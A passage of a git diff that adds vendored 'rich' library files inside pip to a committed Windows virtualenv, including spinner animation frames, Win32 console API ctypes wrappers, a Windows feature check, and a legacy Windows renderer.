"▁▁▁▁▁▁▁▁▁▁▁▁▁▁██████", + "▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁█████", + "▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁█████", + "█▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁████", + "██▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁███", + "██▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁███", + "███▁▁▁▁▁▁▁▁▁▁▁▁▁▁███", + "████▁▁▁▁▁▁▁▁▁▁▁▁▁▁██", + "█████▁▁▁▁▁▁▁▁▁▁▁▁▁▁█", + "█████▁▁▁▁▁▁▁▁▁▁▁▁▁▁█", + "██████▁▁▁▁▁▁▁▁▁▁▁▁▁█", + "████████▁▁▁▁▁▁▁▁▁▁▁▁", + "█████████▁▁▁▁▁▁▁▁▁▁▁", + "█████████▁▁▁▁▁▁▁▁▁▁▁", + "█████████▁▁▁▁▁▁▁▁▁▁▁", + "█████████▁▁▁▁▁▁▁▁▁▁▁", + "███████████▁▁▁▁▁▁▁▁▁", + "████████████▁▁▁▁▁▁▁▁", + "████████████▁▁▁▁▁▁▁▁", + "██████████████▁▁▁▁▁▁", + "██████████████▁▁▁▁▁▁", + "▁██████████████▁▁▁▁▁", + "▁██████████████▁▁▁▁▁", + "▁▁▁█████████████▁▁▁▁", + "▁▁▁▁▁████████████▁▁▁", + "▁▁▁▁▁████████████▁▁▁", + "▁▁▁▁▁▁███████████▁▁▁", + "▁▁▁▁▁▁▁▁█████████▁▁▁", + "▁▁▁▁▁▁▁▁█████████▁▁▁", + "▁▁▁▁▁▁▁▁▁█████████▁▁", + "▁▁▁▁▁▁▁▁▁█████████▁▁", + "▁▁▁▁▁▁▁▁▁▁█████████▁", + "▁▁▁▁▁▁▁▁▁▁▁████████▁", + "▁▁▁▁▁▁▁▁▁▁▁████████▁", + "▁▁▁▁▁▁▁▁▁▁▁▁███████▁", + "▁▁▁▁▁▁▁▁▁▁▁▁███████▁", + "▁▁▁▁▁▁▁▁▁▁▁▁▁███████", + "▁▁▁▁▁▁▁▁▁▁▁▁▁███████", + "▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁█████", + "▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁████", + "▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁████", + "▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁████", + "▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁███", + "▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁███", + "▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁██", + "▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁██", + "▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁██", + "▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁█", + "▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁█", + "▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁█", + "▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁", + "▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁", + "▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁", + "▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁", + ], + }, + "moon": { + "interval": 80, + "frames": ["🌑 ", "🌒 ", "🌓 ", "🌔 ", "🌕 ", "🌖 ", "🌗 ", "🌘 "], + }, + "runner": {"interval": 140, "frames": ["🚶 ", "🏃 "]}, + "pong": { + "interval": 80, + "frames": [ + "▐⠂ ▌", + "▐⠈ ▌", + "▐ ⠂ ▌", + "▐ ⠠ ▌", + "▐ ⡀ ▌", + "▐ ⠠ ▌", + "▐ ⠂ ▌", + "▐ ⠈ ▌", + "▐ ⠂ ▌", + "▐ ⠠ ▌", + "▐ ⡀ ▌", + "▐ ⠠ ▌", + "▐ ⠂ ▌", + "▐ ⠈ ▌", + "▐ ⠂▌", + "▐ ⠠▌", + "▐ ⡀▌", + "▐ ⠠ ▌", + "▐ ⠂ ▌", + "▐ ⠈ ▌", + "▐ ⠂ ▌", + "▐ ⠠ ▌", + "▐ ⡀ ▌", + "▐ ⠠ ▌", + "▐ ⠂ ▌", + "▐ ⠈ ▌", + "▐ ⠂ ▌", + "▐ ⠠ ▌", + "▐ ⡀ ▌", + "▐⠠ ▌", + ], + }, + "shark": { + "interval": 120, + "frames": [ + "▐|\\____________▌", + "▐_|\\___________▌", + "▐__|\\__________▌", + "▐___|\\_________▌", + "▐____|\\________▌", + "▐_____|\\_______▌", + "▐______|\\______▌", + "▐_______|\\_____▌", + "▐________|\\____▌", + "▐_________|\\___▌", + "▐__________|\\__▌", + "▐___________|\\_▌", + "▐____________|\\▌", + "▐____________/|▌", + "▐___________/|_▌", + "▐__________/|__▌", + "▐_________/|___▌", + "▐________/|____▌", + "▐_______/|_____▌", + "▐______/|______▌", + "▐_____/|_______▌", + "▐____/|________▌", + "▐___/|_________▌", + "▐__/|__________▌", + "▐_/|___________▌", + "▐/|____________▌", + ], + }, + "dqpb": {"interval": 100, "frames": "dqpb"}, + "weather": { + "interval": 100, + "frames": [ + "☀️ ", + "☀️ ", + "☀️ ", + "🌤 ", + "⛅️ ", + "🌥 ", + "☁️ ", + "🌧 ", + "🌨 ", + "🌧 ", + "🌨 ", + "🌧 ", + "🌨 ", + "⛈ ", + "🌨 ", + "🌧 ", + "🌨 ", + "☁️ ", + "🌥 ", + "⛅️ ", + "🌤 ", + "☀️ ", + "☀️ ", + ], + }, + "christmas": {"interval": 400, "frames": "🌲🎄"}, + "grenade": { + "interval": 80, + "frames": [ + "، ", + "′ ", + " ´ ", + " ‾ ", + " ⸌", + " ⸊", + " |", + " ⁎", + " ⁕", + " ෴ ", + " ⁓", + " ", + " ", + " ", + ], + }, + "point": {"interval": 125, "frames": ["∙∙∙", "●∙∙", "∙●∙", "∙∙●", "∙∙∙"]}, + "layer": {"interval": 150, "frames": "-=≡"}, + "betaWave": { + "interval": 80, + "frames": [ + "ρββββββ", + "βρβββββ", + "ββρββββ", + "βββρβββ", + "ββββρββ", + "βββββρβ", + "ββββββρ", + ], + }, + "aesthetic": { + "interval": 80, + "frames": [ + "▰▱▱▱▱▱▱", + "▰▰▱▱▱▱▱", + "▰▰▰▱▱▱▱", + "▰▰▰▰▱▱▱", + "▰▰▰▰▰▱▱", + "▰▰▰▰▰▰▱", + "▰▰▰▰▰▰▰", + "▰▱▱▱▱▱▱", + ], + }, +} diff --git a/venv/Lib/site-packages/pip/_vendor/rich/_stack.py b/venv/Lib/site-packages/pip/_vendor/rich/_stack.py new file mode 100644 index 00000000000..194564e761d --- /dev/null +++ b/venv/Lib/site-packages/pip/_vendor/rich/_stack.py @@ -0,0 +1,16 @@ +from typing import List, TypeVar + +T = TypeVar("T") + + +class Stack(List[T]): + """A small shim over builtin list.""" + + @property + def top(self) -> T: + """Get top of stack.""" + return self[-1] + + def push(self, item: T) -> None: + """Push an item on to the stack (append in stack nomenclature).""" + self.append(item) diff --git a/venv/Lib/site-packages/pip/_vendor/rich/_timer.py b/venv/Lib/site-packages/pip/_vendor/rich/_timer.py new file mode 100644 index 00000000000..a2ca6be03c4 --- /dev/null +++ b/venv/Lib/site-packages/pip/_vendor/rich/_timer.py @@ -0,0 +1,19 @@ +""" +Timer context manager, only used in debug. + +""" + +from time import time + +import contextlib +from typing import Generator + + +@contextlib.contextmanager +def timer(subject: str = "time") -> Generator[None, None, None]: + """print the elapsed time. (only used in debugging)""" + start = time() + yield + elapsed = time() - start + elapsed_ms = elapsed * 1000 + print(f"{subject} elapsed {elapsed_ms:.1f}ms") diff --git a/venv/Lib/site-packages/pip/_vendor/rich/_win32_console.py b/venv/Lib/site-packages/pip/_vendor/rich/_win32_console.py new file mode 100644 index 00000000000..81b10829053 --- /dev/null +++ b/venv/Lib/site-packages/pip/_vendor/rich/_win32_console.py @@ -0,0 +1,662 @@ +"""Light wrapper around the Win32 Console API - this module should only be imported on Windows + +The API that this module wraps is documented at https://docs.microsoft.com/en-us/windows/console/console-functions +""" +import ctypes +import sys +from typing import Any + +windll: Any = None +if sys.platform == "win32": + windll = ctypes.LibraryLoader(ctypes.WinDLL) +else: + raise ImportError(f"{__name__} can only be imported on Windows") + +import time +from ctypes import Structure, byref, wintypes +from typing import IO, NamedTuple, Type, cast + +from pip._vendor.rich.color import ColorSystem +from pip._vendor.rich.style import Style + +STDOUT = -11 +ENABLE_VIRTUAL_TERMINAL_PROCESSING = 4 + +COORD = wintypes._COORD + + +class LegacyWindowsError(Exception): + pass + + +class WindowsCoordinates(NamedTuple): + """Coordinates in the Windows Console API are (y, x), not (x, y). + This class is intended to prevent that confusion. + Rows and columns are indexed from 0. + This class can be used in place of wintypes._COORD in arguments and argtypes. + """ + + row: int + col: int + + @classmethod + def from_param(cls, value: "WindowsCoordinates") -> COORD: + """Converts a WindowsCoordinates into a wintypes _COORD structure. + This classmethod is internally called by ctypes to perform the conversion. + + Args: + value (WindowsCoordinates): The input coordinates to convert. + + Returns: + wintypes._COORD: The converted coordinates struct. + """ + return COORD(value.col, value.row) + + +class CONSOLE_SCREEN_BUFFER_INFO(Structure): + _fields_ = [ + ("dwSize", COORD), + ("dwCursorPosition", COORD), + ("wAttributes", wintypes.WORD), + ("srWindow", wintypes.SMALL_RECT), + ("dwMaximumWindowSize", COORD), + ] + + +class CONSOLE_CURSOR_INFO(ctypes.Structure): + _fields_ = [("dwSize", wintypes.DWORD), ("bVisible", wintypes.BOOL)] + + +_GetStdHandle = windll.kernel32.GetStdHandle +_GetStdHandle.argtypes = [ + wintypes.DWORD, +] +_GetStdHandle.restype = wintypes.HANDLE + + +def GetStdHandle(handle: int = STDOUT) -> wintypes.HANDLE: + """Retrieves a handle to the specified standard device (standard input, standard output, or standard error). + + Args: + handle (int): Integer identifier for the handle. Defaults to -11 (stdout). + + Returns: + wintypes.HANDLE: The handle + """ + return cast(wintypes.HANDLE, _GetStdHandle(handle)) + + +_GetConsoleMode = windll.kernel32.GetConsoleMode +_GetConsoleMode.argtypes = [wintypes.HANDLE, wintypes.LPDWORD] +_GetConsoleMode.restype = wintypes.BOOL + + +def GetConsoleMode(std_handle: wintypes.HANDLE) -> int: + """Retrieves the current input mode of a console's input buffer + or the current output mode of a console screen buffer. + + Args: + std_handle (wintypes.HANDLE): A handle to the console input buffer or the console screen buffer. + + Raises: + LegacyWindowsError: If any error occurs while calling the Windows console API. + + Returns: + int: Value representing the current console mode as documented at + https://docs.microsoft.com/en-us/windows/console/getconsolemode#parameters + """ + + console_mode = wintypes.DWORD() + success = bool(_GetConsoleMode(std_handle, console_mode)) + if not success: + raise LegacyWindowsError("Unable to get legacy Windows Console Mode") + return console_mode.value + + +_FillConsoleOutputCharacterW = windll.kernel32.FillConsoleOutputCharacterW +_FillConsoleOutputCharacterW.argtypes = [ + wintypes.HANDLE, + ctypes.c_char, + wintypes.DWORD, + cast(Type[COORD], WindowsCoordinates), + ctypes.POINTER(wintypes.DWORD), +] +_FillConsoleOutputCharacterW.restype = wintypes.BOOL + + +def FillConsoleOutputCharacter( + std_handle: wintypes.HANDLE, + char: str, + length: int, + start: WindowsCoordinates, +) -> int: + """Writes a character to the console screen buffer a specified number of times, beginning at the specified coordinates. + + Args: + std_handle (wintypes.HANDLE): A handle to the console input buffer or the console screen buffer. + char (str): The character to write. Must be a string of length 1. + length (int): The number of times to write the character. + start (WindowsCoordinates): The coordinates to start writing at. + + Returns: + int: The number of characters written. + """ + character = ctypes.c_char(char.encode()) + num_characters = wintypes.DWORD(length) + num_written = wintypes.DWORD(0) + _FillConsoleOutputCharacterW( + std_handle, + character, + num_characters, + start, + byref(num_written), + ) + return num_written.value + + +_FillConsoleOutputAttribute = windll.kernel32.FillConsoleOutputAttribute +_FillConsoleOutputAttribute.argtypes = [ + wintypes.HANDLE, + wintypes.WORD, + wintypes.DWORD, + cast(Type[COORD], WindowsCoordinates), + ctypes.POINTER(wintypes.DWORD), +] +_FillConsoleOutputAttribute.restype = wintypes.BOOL + + +def FillConsoleOutputAttribute( + std_handle: wintypes.HANDLE, + attributes: int, + length: int, + start: WindowsCoordinates, +) -> int: + """Sets the character attributes for a specified number of character cells, + beginning at the specified coordinates in a screen buffer. + + Args: + std_handle (wintypes.HANDLE): A handle to the console input buffer or the console screen buffer. + attributes (int): Integer value representing the foreground and background colours of the cells. + length (int): The number of cells to set the output attribute of. + start (WindowsCoordinates): The coordinates of the first cell whose attributes are to be set. + + Returns: + int: The number of cells whose attributes were actually set. + """ + num_cells = wintypes.DWORD(length) + style_attrs = wintypes.WORD(attributes) + num_written = wintypes.DWORD(0) + _FillConsoleOutputAttribute( + std_handle, style_attrs, num_cells, start, byref(num_written) + ) + return num_written.value + + +_SetConsoleTextAttribute = windll.kernel32.SetConsoleTextAttribute +_SetConsoleTextAttribute.argtypes = [ + wintypes.HANDLE, + wintypes.WORD, +] +_SetConsoleTextAttribute.restype = wintypes.BOOL + + +def SetConsoleTextAttribute( + std_handle: wintypes.HANDLE, attributes: wintypes.WORD +) -> bool: + """Set the colour attributes for all text written after this function is called. + + Args: + std_handle (wintypes.HANDLE): A handle to the console input buffer or the console screen buffer. + attributes (int): Integer value representing the foreground and background colours. + + + Returns: + bool: True if the attribute was set successfully, otherwise False. + """ + return bool(_SetConsoleTextAttribute(std_handle, attributes)) + + +_GetConsoleScreenBufferInfo = windll.kernel32.GetConsoleScreenBufferInfo +_GetConsoleScreenBufferInfo.argtypes = [ + wintypes.HANDLE, + ctypes.POINTER(CONSOLE_SCREEN_BUFFER_INFO), +] +_GetConsoleScreenBufferInfo.restype = wintypes.BOOL + + +def GetConsoleScreenBufferInfo( + std_handle: wintypes.HANDLE, +) -> CONSOLE_SCREEN_BUFFER_INFO: + """Retrieves information about the specified console screen buffer. + + Args: + std_handle (wintypes.HANDLE): A handle to the console input buffer or the console screen buffer. + + Returns: + CONSOLE_SCREEN_BUFFER_INFO: A CONSOLE_SCREEN_BUFFER_INFO ctype struct contain information about + screen size, cursor position, colour attributes, and more.""" + console_screen_buffer_info = CONSOLE_SCREEN_BUFFER_INFO() + _GetConsoleScreenBufferInfo(std_handle, byref(console_screen_buffer_info)) + return console_screen_buffer_info + + +_SetConsoleCursorPosition = windll.kernel32.SetConsoleCursorPosition +_SetConsoleCursorPosition.argtypes = [ + wintypes.HANDLE, + cast(Type[COORD], WindowsCoordinates), +] +_SetConsoleCursorPosition.restype = wintypes.BOOL + + +def SetConsoleCursorPosition( + std_handle: wintypes.HANDLE, coords: WindowsCoordinates +) -> bool: + """Set the position of the cursor in the console screen + + Args: + std_handle (wintypes.HANDLE): A handle to the console input buffer or the console screen buffer. + coords (WindowsCoordinates): The coordinates to move the cursor to. + + Returns: + bool: True if the function succeeds, otherwise False. + """ + return bool(_SetConsoleCursorPosition(std_handle, coords)) + + +_GetConsoleCursorInfo = windll.kernel32.GetConsoleCursorInfo +_GetConsoleCursorInfo.argtypes = [ + wintypes.HANDLE, + ctypes.POINTER(CONSOLE_CURSOR_INFO), +] +_GetConsoleCursorInfo.restype = wintypes.BOOL + + +def GetConsoleCursorInfo( + std_handle: wintypes.HANDLE, cursor_info: CONSOLE_CURSOR_INFO +) -> bool: + """Get the cursor info - used to get cursor visibility and width + + Args: + std_handle (wintypes.HANDLE): A handle to the console input buffer or the console screen buffer. + cursor_info (CONSOLE_CURSOR_INFO): CONSOLE_CURSOR_INFO ctype struct that receives information + about the console's cursor. + + Returns: + bool: True if the function succeeds, otherwise False. + """ + return bool(_GetConsoleCursorInfo(std_handle, byref(cursor_info))) + + +_SetConsoleCursorInfo = windll.kernel32.SetConsoleCursorInfo +_SetConsoleCursorInfo.argtypes = [ + wintypes.HANDLE, + ctypes.POINTER(CONSOLE_CURSOR_INFO), +] +_SetConsoleCursorInfo.restype = wintypes.BOOL + + +def SetConsoleCursorInfo( + std_handle: wintypes.HANDLE, cursor_info: CONSOLE_CURSOR_INFO +) -> bool: + """Set the cursor info - used for adjusting cursor visibility and width + + Args: + std_handle (wintypes.HANDLE): A handle to the console input buffer or the console screen buffer. + cursor_info (CONSOLE_CURSOR_INFO): CONSOLE_CURSOR_INFO ctype struct containing the new cursor info. + + Returns: + bool: True if the function succeeds, otherwise False. + """ + return bool(_SetConsoleCursorInfo(std_handle, byref(cursor_info))) + + +_SetConsoleTitle = windll.kernel32.SetConsoleTitleW +_SetConsoleTitle.argtypes = [wintypes.LPCWSTR] +_SetConsoleTitle.restype = wintypes.BOOL + + +def SetConsoleTitle(title: str) -> bool: + """Sets the title of the current console window + + Args: + title (str): The new title of the console window. + + Returns: + bool: True if the function succeeds, otherwise False. + """ + return bool(_SetConsoleTitle(title)) + + +class LegacyWindowsTerm: + """This class allows interaction with the legacy Windows Console API. It should only be used in the context + of environments where virtual terminal processing is not available. However, if it is used in a Windows environment, + the entire API should work. + + Args: + file (IO[str]): The file which the Windows Console API HANDLE is retrieved from, defaults to sys.stdout. + """ + + BRIGHT_BIT = 8 + + # Indices are ANSI color numbers, values are the corresponding Windows Console API color numbers + ANSI_TO_WINDOWS = [ + 0, # black The Windows colours are defined in wincon.h as follows: + 4, # red define FOREGROUND_BLUE 0x0001 -- 0000 0001 + 2, # green define FOREGROUND_GREEN 0x0002 -- 0000 0010 + 6, # yellow define FOREGROUND_RED 0x0004 -- 0000 0100 + 1, # blue define FOREGROUND_INTENSITY 0x0008 -- 0000 1000 + 5, # magenta define BACKGROUND_BLUE 0x0010 -- 0001 0000 + 3, # cyan define BACKGROUND_GREEN 0x0020 -- 0010 0000 + 7, # white define BACKGROUND_RED 0x0040 -- 0100 0000 + 8, # bright black (grey) define BACKGROUND_INTENSITY 0x0080 -- 1000 0000 + 12, # bright red + 10, # bright green + 14, # bright yellow + 9, # bright blue + 13, # bright magenta + 11, # bright cyan + 15, # bright white + ] + + def __init__(self, file: "IO[str]") -> None: + handle = GetStdHandle(STDOUT) + self._handle = handle + default_text = GetConsoleScreenBufferInfo(handle).wAttributes + self._default_text = default_text + + self._default_fore = default_text & 7 + self._default_back = (default_text >> 4) & 7 + self._default_attrs = self._default_fore | (self._default_back << 4) + + self._file = file + self.write = file.write + self.flush = file.flush + + @property + def cursor_position(self) -> WindowsCoordinates: + """Returns the current position of the cursor (0-based) + + Returns: + WindowsCoordinates: The current cursor position. + """ + coord: COORD = GetConsoleScreenBufferInfo(self._handle).dwCursorPosition + return WindowsCoordinates(row=cast(int, coord.Y), col=cast(int, coord.X)) + + @property + def screen_size(self) -> WindowsCoordinates: + """Returns the current size of the console screen buffer, in character columns and rows + + Returns: + WindowsCoordinates: The width and height of the screen as WindowsCoordinates. + """ + screen_size: COORD = GetConsoleScreenBufferInfo(self._handle).dwSize + return WindowsCoordinates( + row=cast(int, screen_size.Y), col=cast(int, screen_size.X) + ) + + def write_text(self, text: str) -> None: + """Write text directly to the terminal without any modification of styles + + Args: + text (str): The text to write to the console + """ + self.write(text) + self.flush() + + def write_styled(self, text: str, style: Style) -> None: + """Write styled text to the terminal. + + Args: + text (str): The text to write + style (Style): The style of the text + """ + color = style.color + bgcolor = style.bgcolor + if style.reverse: + color, bgcolor = bgcolor, color + + if color: + fore = color.downgrade(ColorSystem.WINDOWS).number + fore = fore if fore is not None else 7 # Default to ANSI 7: White + if style.bold: + fore = fore | self.BRIGHT_BIT + if style.dim: + fore = fore & ~self.BRIGHT_BIT + fore = self.ANSI_TO_WINDOWS[fore] + else: + fore = self._default_fore + + if bgcolor: + back = bgcolor.downgrade(ColorSystem.WINDOWS).number + back = back if back is not None else 0 # Default to ANSI 0: Black + back = self.ANSI_TO_WINDOWS[back] + else: + back = self._default_back + + assert fore is not None + assert back is not None + + SetConsoleTextAttribute( + self._handle, attributes=ctypes.c_ushort(fore | (back << 4)) + ) + self.write_text(text) + SetConsoleTextAttribute(self._handle, attributes=self._default_text) + + def move_cursor_to(self, new_position: WindowsCoordinates) -> None: + """Set the position of the cursor + + Args: + new_position (WindowsCoordinates): The WindowsCoordinates representing the new position of the cursor. + """ + if new_position.col < 0 or new_position.row < 0: + return + SetConsoleCursorPosition(self._handle, coords=new_position) + + def erase_line(self) -> None: + """Erase all content on the line the cursor is currently located at""" + screen_size = self.screen_size + cursor_position = self.cursor_position + cells_to_erase = screen_size.col + start_coordinates = WindowsCoordinates(row=cursor_position.row, col=0) + FillConsoleOutputCharacter( + self._handle, " ", length=cells_to_erase, start=start_coordinates + ) + FillConsoleOutputAttribute( + self._handle, + self._default_attrs, + length=cells_to_erase, + start=start_coordinates, + ) + + def erase_end_of_line(self) -> None: + """Erase all content from the cursor position to the end of that line""" + cursor_position = self.cursor_position + cells_to_erase = self.screen_size.col - cursor_position.col + FillConsoleOutputCharacter( + self._handle, " ", length=cells_to_erase, start=cursor_position + ) + FillConsoleOutputAttribute( + self._handle, + self._default_attrs, + length=cells_to_erase, + start=cursor_position, + ) + + def erase_start_of_line(self) -> None: + """Erase all content from the cursor position to the start of that line""" + row, col = self.cursor_position + start = WindowsCoordinates(row, 0) + FillConsoleOutputCharacter(self._handle, " ", length=col, start=start) + FillConsoleOutputAttribute( + self._handle, self._default_attrs, length=col, start=start + ) + + def move_cursor_up(self) -> None: + """Move the cursor up a single cell""" + cursor_position = self.cursor_position + SetConsoleCursorPosition( + self._handle, + coords=WindowsCoordinates( + row=cursor_position.row - 1, col=cursor_position.col + ), + ) + + def move_cursor_down(self) -> None: + """Move the cursor down a single cell""" + cursor_position = self.cursor_position + SetConsoleCursorPosition( + self._handle, + coords=WindowsCoordinates( + row=cursor_position.row + 1, + col=cursor_position.col, + ), + ) + + def move_cursor_forward(self) -> None: + """Move the cursor forward a single cell. Wrap to the next line if required.""" + row, col = self.cursor_position + if col == self.screen_size.col - 1: + row += 1 + col = 0 + else: + col += 1 + SetConsoleCursorPosition( + self._handle, coords=WindowsCoordinates(row=row, col=col) + ) + + def move_cursor_to_column(self, column: int) -> None: + """Move cursor to the column specified by the zero-based column index, staying on the same row + + Args: + column (int): The zero-based column index to move the cursor to. + """ + row, _ = self.cursor_position + SetConsoleCursorPosition(self._handle, coords=WindowsCoordinates(row, column)) + + def move_cursor_backward(self) -> None: + """Move the cursor backward a single cell. Wrap to the previous line if required.""" + row, col = self.cursor_position + if col == 0: + row -= 1 + col = self.screen_size.col - 1 + else: + col -= 1 + SetConsoleCursorPosition( + self._handle, coords=WindowsCoordinates(row=row, col=col) + ) + + def hide_cursor(self) -> None: + """Hide the cursor""" + current_cursor_size = self._get_cursor_size() + invisible_cursor = CONSOLE_CURSOR_INFO(dwSize=current_cursor_size, bVisible=0) + SetConsoleCursorInfo(self._handle, cursor_info=invisible_cursor) + + def show_cursor(self) -> None: + """Show the cursor""" + current_cursor_size = self._get_cursor_size() + visible_cursor = CONSOLE_CURSOR_INFO(dwSize=current_cursor_size, bVisible=1) + SetConsoleCursorInfo(self._handle, cursor_info=visible_cursor) + + def set_title(self, title: str) -> None: + """Set the title of the terminal window + + Args: + title (str): The new title of the console window + """ + assert len(title) < 255, "Console title must be less than 255 characters" + SetConsoleTitle(title) + + def _get_cursor_size(self) -> int: + """Get the percentage of the character cell that is filled by the cursor""" + cursor_info = CONSOLE_CURSOR_INFO() + GetConsoleCursorInfo(self._handle, cursor_info=cursor_info) + return int(cursor_info.dwSize) + + +if __name__ == "__main__": + handle = GetStdHandle() + + from pip._vendor.rich.console import Console + + console = Console() + + term = LegacyWindowsTerm(sys.stdout) + term.set_title("Win32 Console Examples") + + style = Style(color="black", bgcolor="red") + + heading = Style.parse("black on green") + + # Check colour output + console.rule("Checking colour output") + console.print("[on red]on red!") + console.print("[blue]blue!") + console.print("[yellow]yellow!") + console.print("[bold yellow]bold yellow!") + console.print("[bright_yellow]bright_yellow!") + console.print("[dim bright_yellow]dim bright_yellow!") + console.print("[italic cyan]italic cyan!") + console.print("[bold white on blue]bold white on blue!") + console.print("[reverse bold white on blue]reverse bold white on blue!") + console.print("[bold black on cyan]bold black on cyan!") + console.print("[black on green]black on green!") + console.print("[blue on green]blue on green!") + console.print("[white on black]white on black!") + console.print("[black on white]black on white!") + console.print("[#1BB152 on #DA812D]#1BB152 on #DA812D!") + + # Check cursor movement + console.rule("Checking cursor movement") + console.print() + term.move_cursor_backward() + term.move_cursor_backward() + term.write_text("went back and wrapped to prev line") + time.sleep(1) + term.move_cursor_up() + term.write_text("we go up") + time.sleep(1) + term.move_cursor_down() + term.write_text("and down") + time.sleep(1) + term.move_cursor_up() + term.move_cursor_backward() + term.move_cursor_backward() + term.write_text("we went up and back 2") + time.sleep(1) + term.move_cursor_down() + term.move_cursor_backward() + term.move_cursor_backward() + term.write_text("we went down and back 2") + time.sleep(1) + + # Check erasing of lines + term.hide_cursor() + console.print() + console.rule("Checking line erasing") + console.print("\n...Deleting to the start of the line...") + term.write_text("The red arrow shows the cursor location, and direction of erase") + time.sleep(1) + term.move_cursor_to_column(16) + term.write_styled("<", Style.parse("black on red")) + term.move_cursor_backward() + time.sleep(1) + term.erase_start_of_line() + time.sleep(1) + + console.print("\n\n...And to the end of the line...") + term.write_text("The red arrow shows the cursor location, and direction of erase") + time.sleep(1) + + term.move_cursor_to_column(16) + term.write_styled(">", Style.parse("black on red")) + time.sleep(1) + term.erase_end_of_line() + time.sleep(1) + + console.print("\n\n...Now the whole line will be erased...") + term.write_styled("I'm going to disappear!", style=Style.parse("black on cyan")) + time.sleep(1) + term.erase_line() + + term.show_cursor() + print("\n") diff --git a/venv/Lib/site-packages/pip/_vendor/rich/_windows.py b/venv/Lib/site-packages/pip/_vendor/rich/_windows.py new file mode 100644 index 00000000000..7520a9f90a5 --- /dev/null +++ b/venv/Lib/site-packages/pip/_vendor/rich/_windows.py @@ -0,0 +1,71 @@ +import sys +from dataclasses import dataclass + + +@dataclass +class WindowsConsoleFeatures: + """Windows features available.""" + + vt: bool = False + """The console supports VT codes.""" + truecolor: bool = False + """The console supports truecolor.""" + + +try: + import ctypes + from ctypes import LibraryLoader + + if sys.platform == "win32": + windll = LibraryLoader(ctypes.WinDLL) + else: + windll = None + raise ImportError("Not windows") + + from pip._vendor.rich._win32_console import ( + ENABLE_VIRTUAL_TERMINAL_PROCESSING, + GetConsoleMode, + GetStdHandle, + LegacyWindowsError, + ) + +except (AttributeError, ImportError, ValueError): + # Fallback if we can't load the Windows DLL + def get_windows_console_features() -> WindowsConsoleFeatures: + features = WindowsConsoleFeatures() + return features + +else: + + def get_windows_console_features() -> WindowsConsoleFeatures: + """Get windows console features. + + Returns: + WindowsConsoleFeatures: An instance of WindowsConsoleFeatures. + """ + handle = GetStdHandle() + try: + console_mode = GetConsoleMode(handle) + success = True + except LegacyWindowsError: + console_mode = 0 + success = False + vt = bool(success and console_mode & ENABLE_VIRTUAL_TERMINAL_PROCESSING) + truecolor = False + if vt: + win_version = sys.getwindowsversion() + truecolor = win_version.major > 10 or ( + win_version.major == 10 and win_version.build >= 15063 + ) + features = WindowsConsoleFeatures(vt=vt, truecolor=truecolor) + return features + + +if __name__ == "__main__": + import platform + + features = get_windows_console_features() + from pip._vendor.rich import print + + print(f'platform="{platform.system()}"') + print(repr(features)) diff --git a/venv/Lib/site-packages/pip/_vendor/rich/_windows_renderer.py b/venv/Lib/site-packages/pip/_vendor/rich/_windows_renderer.py new file mode 100644 index 00000000000..5ece05649e7 --- /dev/null +++ b/venv/Lib/site-packages/pip/_vendor/rich/_windows_renderer.py @@ -0,0 +1,56 @@ +from typing import Iterable, Sequence, Tuple, cast + +from pip._vendor.rich._win32_console import LegacyWindowsTerm, WindowsCoordinates +from pip._vendor.rich.segment import ControlCode, ControlType, Segment + + +def legacy_windows_render(buffer: Iterable[Segment], term: LegacyWindowsTerm) -> None: + """Makes appropriate Windows Console API calls based on the segments in the buffer. + + Args: + buffer (Iterable[Segment]): Iterable of Segments to convert to Win32 API calls. + term (LegacyWindowsTerm): Used to call the Windows Console API. + """ + for text, style, control in buffer: + if not control: + if style: + term.write_styled(text, style) + else: + term.write_text(text) + else: + control_codes: Sequence[ControlCode] = control + for control_code in control_codes: + control_type = control_code[0] + if control_type == ControlType.CURSOR_MOVE_TO: + _, x, y = cast(Tuple[ControlType, int, int], control_code) + term.move_cursor_to(WindowsCoordinates(row=y - 1, col=x - 1)) + elif control_type == ControlType.CARRIAGE_RETURN: + term.write_text("\r") + elif control_type == ControlType.HOME: + term.move_cursor_to(WindowsCoordinates(0, 0)) + elif control_type == ControlType.CURSOR_UP: + term.move_cursor_up() + elif control_type == ControlType.CURSOR_DOWN: + term.move_cursor_down() + elif control_type == ControlType.CURSOR_FORWARD: + term.move_cursor_forward() + elif control_type == ControlType.CURSOR_BACKWARD: + term.move_cursor_backward() + elif control_type == ControlType.CURSOR_MOVE_TO_COLUMN: + _, column = cast(Tuple[ControlType, int], control_code) + term.move_cursor_to_column(column - 1) + elif control_type == ControlType.HIDE_CURSOR: + term.hide_cursor() + elif control_type == ControlType.SHOW_CURSOR: + term.show_cursor() + elif control_type == ControlType.ERASE_IN_LINE: + _, mode = cast(Tuple[ControlType, int], control_code) + if mode == 0: + term.erase_end_of_line() + elif mode == 1: + term.erase_start_of_line() + elif mode == 2: + term.erase_line() + elif control_type == ControlType.SET_WINDOW_TITLE: + _, title = cast(Tuple[ControlType, str], control_code) + term.set_title(title) diff --git a/venv/Lib/site-packages/pip/_vendor/rich/_wrap.py b/venv/Lib/site-packages/pip/_vendor/rich/_wrap.py new file mode 100644 index 00000000000..2e94ff6f43a --- /dev/null +++ b/venv/Lib/site-packages/pip/_vendor/rich/_wrap.py @@ -0,0 +1,93 @@ +from __future__ import annotations + +import re +from typing import Iterable + +from ._loop import 